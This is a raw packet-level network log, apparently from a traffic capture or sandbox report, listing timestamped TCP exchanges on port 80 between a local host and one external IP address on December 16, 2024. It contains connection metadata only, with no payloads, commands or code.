Dec 16, 2024 09:01:12.962632895 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.962755919 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.962799072 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.963658094 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.963716984 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.963747025 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.964584112 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.964632034 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.104664087 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.104787111 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.104850054 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.104899883 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.105158091 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.105221033 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.105269909 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.105317116 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.106121063 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.106177092 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.106236935 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.106281996 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.107152939 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.107197046 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.107512951 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.107557058 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.108153105 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.108196020 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.108234882 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.108278036 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.109110117 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.109153032 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.109281063 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.109323025 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.110238075 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.110285997 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.110325098 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.110366106 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.111093998 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.111138105 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.111238956 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.111279964 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.112109900 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.112155914 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.112188101 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.112227917 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.113079071 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.113121033 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.113166094 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.113209963 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.114080906 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.114124060 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.114168882 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.114209890 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.115081072 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.115123034 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.115176916 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.115220070 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.116074085 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.116117001 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.116166115 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.116209030 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.117055893 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.117098093 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.117155075 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.117196083 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.118067026 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.118110895 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.118155003 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.118195057 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.119055986 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.119096994 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.119142056 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.119182110 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.120075941 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.120120049 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.120179892 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.120222092 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.121030092 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.121072054 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.121113062 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.121153116 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.122144938 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.122196913 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.122236967 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.122278929 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.123044968 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.123085976 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.123141050 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.123182058 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.124062061 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.124111891 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.124154091 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.124198914 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.125031948 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.125076056 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.125077009 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.125116110 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.126028061 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.126080036 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.126121044 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.126171112 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.127018929 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.127083063 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.127147913 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.127190113 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.128000975 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.128043890 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.128088951 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.128137112 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.129035950 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.129076958 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.129144907 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.129185915 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.130047083 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.130089045 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.130141973 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.130182981 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.131027937 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.131071091 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.131100893 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.131141901 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.132026911 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.132070065 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.132118940 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.132169962 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.133025885 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.133068085 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.133130074 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.133173943 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.134006023 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.134048939 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.134094954 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.134135962 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.135021925 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.135063887 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.135107040 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.135232925 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.135972023 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.136015892 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.136082888 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.136125088 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.137008905 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.137056112 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.137094021 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.137135029 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.137970924 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.138019085 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.138133049 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.138175964 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.139003992 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.139045954 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.139113903 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.139154911 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.139991045 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.140034914 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.140074015 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.140115976 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.140983105 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.141035080 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.141083956 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.141124964 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.141949892 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.141993999 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.142072916 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.142116070 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.142968893 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.143012047 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.143084049 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.143126965 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.143954992 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.144007921 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.144058943 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.144102097 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.144995928 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.145041943 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.145087957 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.145131111 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.145970106 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.146028996 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.146074057 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.146116972 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.146951914 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.147005081 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.147078991 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.147129059 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.147948980 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.147998095 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.148049116 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.148092985 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.148952007 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.149003029 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.149044991 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.149089098 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.149985075 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.150001049 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.150031090 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.150052071 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.150922060 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.150970936 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.150995016 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.151035070 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.151912928 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.151961088 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.152024984 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.152069092 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.152956963 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.153009892 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.153059006 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.153104067 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.153939962 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.153999090 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.154027939 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.154073000 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.154897928 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.154947042 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.155006886 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.155054092 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.155920029 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.155971050 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.156088114 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.156136036 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.156852007 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.156897068 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.296953917 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.297043085 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.297116041 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.297116041 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.297425032 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.297475100 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.297513008 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.297559023 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.298448086 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.298491001 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.298552990 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.298595905 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.299412966 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.299459934 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.299536943 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.299581051 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.300457001 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.300499916 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.300529003 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.300573111 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.301446915 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.301492929 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.301506042 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.301549911 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.302431107 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.302474022 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.302510977 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.302555084 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.303397894 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.303443909 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.303518057 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.303563118 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.304395914 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.304439068 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.304550886 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.304594040 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.305382013 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.305425882 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.305489063 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.305531025 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.306406021 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.306457996 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.306509972 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.306572914 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.307398081 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.307445049 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.307490110 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.307531118 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.308423042 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.308465004 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.308536053 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.308577061 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.309488058 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.309518099 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.309530020 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.309556961 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.310373068 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.310419083 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.310544968 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.310585976 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.311450005 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.311492920 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.311619043 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.311660051 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.312407970 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.312452078 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.312489033 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.312530041 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.313383102 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.313426018 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.313484907 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.313529015 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.314440966 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.314498901 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.314615011 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.314657927 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.315478086 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.315519094 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.315551996 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.315593958 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.316384077 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.316426039 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.316463947 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.316505909 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.317379951 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.317426920 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.317478895 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.317522049 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.318607092 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.318650007 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.318681955 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.318722010 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.319430113 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.319470882 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.319518089 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.319557905 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.320468903 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.320509911 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.320735931 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.320777893 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.321424007 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.321454048 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.321469069 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.321491957 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.322376966 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.322423935 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.322453976 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.322503090 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.323441029 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.323483944 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.323525906 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.323565960 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.324309111 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.324353933 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.324454069 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.324520111 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.325368881 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.325412989 CET	49817	80	192.168.2.5	31.41.244.11
